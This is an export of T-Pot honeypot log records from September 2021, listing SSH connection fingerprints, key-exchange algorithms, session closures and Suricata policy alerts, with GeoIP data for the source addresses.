client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c317bc1dbb61", "@version": "1", "timestamp": "2021-09-20T12:13:59.217564Z", "@timestamp": "2021-09-20T12:13:59.217Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	US
36328	96.78.175.36	109.199.241.180	Suricata	2021-09-20 15:13:59.217182+03	2021-09-20 15:15:04.43769+03	{"_id": "GgYgA3wBvYTbRNuEl2Kt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:13:58.850461+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 714807028677149, "payload": "AAADzAYUJ8nzRAu4OL9RTnO7Mfa4mAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60106, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:13:59.217182Z", "@timestamp": "2021-09-20T12:13:59.217Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......'..D..8.QNs.1......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	US
36329	96.78.175.36	109.199.241.180	Fatt	2021-09-20 15:13:59.217182+03	2021-09-20 15:15:04.43969+03	{"_id": "GwYgA3wBvYTbRNuEmGKl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 60106, "dest_port": 22, "timestamp": "2021-09-20T12:13:59.217182", "@timestamp": "2021-09-20T12:13:59.217Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	US
36330	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:13:59.75429+03	2021-09-20 15:15:04.440691+03	{"_id": "HAYgA3wBvYTbRNuEmmJ_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "71ced93a445f", "@version": "1", "duration": 2.754469633102417, "timestamp": "2021-09-20T12:13:59.754290Z", "@timestamp": "2021-09-20T12:13:59.754Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36332	176.122.188.154	109.199.241.180	Fatt	2021-09-20 15:13:52.111283+03	2021-09-20 15:15:04.443689+03	{"_id": "6QYgA3wBvYTbRNuEeWGq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 41070, "dest_port": 22, "timestamp": "2021-09-20T12:13:52.111283", "@timestamp": "2021-09-20T12:13:52.111Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	US
36333	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 15:13:51.943606+03	2021-09-20 15:15:04.444689+03	{"_id": "7QYgA3wBvYTbRNuEe2E4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "0dcd16356392", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:13:51.943606Z", "@timestamp": "2021-09-20T12:13:51.943Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	US
36334	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 15:13:54.078224+03	2021-09-20 15:15:04.445689+03	{"_id": "8wYgA3wBvYTbRNuEg2EI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "0dcd16356392", "@version": "1", "duration": 2.134993553161621, "timestamp": "2021-09-20T12:13:54.078224Z", "@timestamp": "2021-09-20T12:13:54.078Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	US
36335	5.188.62.219	109.199.241.180	Fatt	2021-09-20 15:13:54.744558+03	2021-09-20 15:15:04.44769+03	{"_id": "-gYgA3wBvYTbRNuEhWFj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.219", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 61082, "dest_port": 22, "timestamp": "2021-09-20T12:13:54.744558", "@timestamp": "2021-09-20T12:13:54.744Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	RU
36336	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:13:54.745325+03	2021-09-20 15:15:04.448691+03	{"_id": "_wYgA3wBvYTbRNuEhmHy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "a67675d21ed4", "@version": "1", "timestamp": "2021-09-20T12:13:54.745325Z", "@timestamp": "2021-09-20T12:13:54.745Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	RU
36337	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:13:56.01205+03	2021-09-20 15:15:04.45069+03	{"_id": "AAYgA3wBvYTbRNuEimLb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "a67675d21ed4", "@version": "1", "duration": 1.3255693912506104, "timestamp": "2021-09-20T12:13:56.012050Z", "@timestamp": "2021-09-20T12:13:56.012Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	RU
36338	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:13:33.00037+03	2021-09-20 15:15:04.45169+03	{"_id": "AgYgA3wBvYTbRNuEi2L0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:12:31.349795+0000", "pkts_toclient": 4, "pkts_toserver": 4, "bytes_toclient": 266, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 1162827946481251, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 63527, "timestamp": "2021-09-20T12:13:33.000370Z", "@timestamp": "2021-09-20T12:13:33.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
36339	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 15:13:52.11153+03	2021-09-20 15:15:04.45269+03	{"_id": "7gYgA3wBvYTbRNuEe2E4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "0dcd16356392", "@version": "1", "timestamp": "2021-09-20T12:13:52.111530Z", "@timestamp": "2021-09-20T12:13:52.111Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	US
36340	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:13:52.289758+03	2021-09-20 15:15:04.454709+03	{"_id": "7wYgA3wBvYTbRNuEe2E4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "441fd9c8d8e4", "@version": "1", "duration": 5.440614700317383, "timestamp": "2021-09-20T12:13:52.289758Z", "@timestamp": "2021-09-20T12:13:52.289Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
